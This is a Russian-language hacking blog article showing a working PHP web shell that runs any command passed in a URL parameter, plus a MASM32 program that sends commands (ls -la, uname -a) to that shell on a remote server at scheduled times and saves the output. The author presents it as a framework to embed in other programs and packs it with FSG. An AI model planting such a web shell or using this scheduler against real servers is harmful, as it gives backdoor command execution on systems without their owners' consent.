• Партнер

  • Крон и винда, ассемблер и php, вебшелл и планирование задач... Какая между
    всем этим связь? Первое, что приходит в голову - это пхп-скрипт, запускаемый на
    локалхосте планировщиком задач windows, взаимодействующий через WinAPI
    посредством DDE с асмовой программой, которая через web shell управляет cron'ом
    на удалённом сервере. Но на самом деле это не так, сегодня мы будем извращаться
    немного иначе. =)

    По порядку: cron (фактом своего существования 😉 ) натолкнул меня на мысль
    написать планировщик задач удалённого сервера через веб шелл, и написать его под
    винду. Потом промелькнула мысль, что это можно встраивать в различные программы,
    так что написать было решено только каркас, чем я и занимался прямо перед
    написанием статьи.

    Ну а теперь к делу. =) Имеем мы вебшелл (или несколько), masm32, винду.
    Приступаем к кодингу вышеописанной программы, но сперва покажу листинг вебшелла,
    используемого в примере.

    <?
    if($_GET['p']=="just4article")
    system($_GET['c']);
    ?>

    Шелл, как видно, простой, а листинг приведён чтобы никого не смущала переменная
    p. 🙂

    Итак, приступаем к exe-составляющей. Входные данные в примере приниматься не
    будут, сохранения и т.п. тоже нет, т.к. это всего лишь пример, но структура в
    принципе показана полностью.

    Далее следует код с комментариями.

    .386
    .model flat, stdcall
    option casemap :none ; case sensitive

    include \masm32\include\windows.inc
    include \masm32\include\user32.inc
    include \masm32\include\kernel32.inc
    include \masm32\include\winmm.inc
    include \masm32\include\masm32.inc
    include \masm32\include\urlmon.inc

    include \masm32\macros\macros.asm ; нужно в ходе
    тестов, в процессе кодинга 🙂

    includelib \masm32\lib\user32.lib
    includelib \masm32\lib\kernel32.lib
    includelib \masm32\lib\winmm.lib
    includelib \masm32\lib\masm32.lib
    includelib \masm32\lib\urlmon.lib

    ; нужные инклуды

    .data
    webshellcmd db "http://someserver.org/shell.php?p=just4test&c=ls%20-la",0 ;
    команда нашему вебшеллу
    anothercmd db "http://someserver.org/shell.php?p=just4test&c=uname%20-a",0 ;
    другая команда, для второй задачи
    fileforansw db "answer.txt",0 ;
    файл, в который
    будем писать ответ сервера

    .code

    start:

    JustDoIt proc

    local stm:SYSTEMTIME
    local szYear:DWORD
    local szMonth:DWORD
    local szDayOfWeek:DWORD
    local szDay:DWORD
    local szHour:DWORD
    local szMinute:DWORD
    local szwSecond:DWORD
    local szMilliseconds:DWORD
    local szDayaddr:DWORD

    ; определили locals
    ;
    здесь я перечислил всю структуру SYSTEMTIME, а
    использовать сейчас будем

    ;
    только wDay, wHour и wMinute (w в структуре у нас
    переходит в sz в local)

    @startthis: ; начинаем цикл - будем проверять время
    каждые 10 секунд

    invoke GetLocalTime,addr stm ; получаем время, оно
    у нас в структуре SYSTEMTIME

    ;movzx eax,stm.wDay
    ;mov szDayaddr,ustr$(eax) ;
    <-- вот так можно
    добывать адрес переменной, скорее всего пригодится

    movzx eax,stm.wDay ; переносим в eax время из
    переменной, число в данном случае

    mov szDay,eax ;
    переносим из eax'a в szDay
    movzx eax,stm.wHour ;
    и т.д.
    mov szHour,eax
    movzx eax,stm.wMinute
    mov szMinute,eax

    .if szDay==22 && szHour==4 && szMinute==26 ;
    смотрим время

    invoke URLDownloadToFile,0,offset webshellcmd,offset fileforansw,0,0 ; о как 🙂
    ;
    вебшелл юзаем через URLDownloadToFile, дешево и
    сердито 😉

    jmp @done1 ; выполнили задачу переходим к следующей

    .endif ;

    push 10000 ; 10 секунд ждём
    call Sleep

    jmp @startthis ; если мы дошли до этого, значит
    задача не выполнена - время ещё не подошло

    ;
    так что идём к началу цикла и смотрим время снова

    @done1: ; а если задача №1 выполнена...

    invoke GetLocalTime,addr stm ; опять добываем время

    movzx eax,stm.wDay ; снова выдираем отсюда нужное
    нам

    mov szDay,eax
    movzx eax,stm.wHour
    mov szHour,eax

    .if szDay==22 && szHour==5 ; здесь уже выполняется
    задача 22го числа в 5 часов

    invoke URLDownloadToFile,0,offset anothercmd,offset fileforansw,0,0

    jmp @done2 ; сделали? идём дальше 🙂

    .endif

    push 10000
    call Sleep

    @done2: ; ну в данном примере это уже конец =) все
    задачи выполнены 😉

    push 0
    call ExitProcess ;
    выход 😉

    JustDoIt endp

    end start

    Вот такая небольшая программка весом 1536 байт; сжимаем FSG - 949 байт. =)

    А далее можно сделать вечный цикл, базу с числами/временем/командами и т.д.,
    некое подобие крона. =)

    Спешл пасиба AZ4ZeL за устранение моих начных глюков в процессе кодинга. =)

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии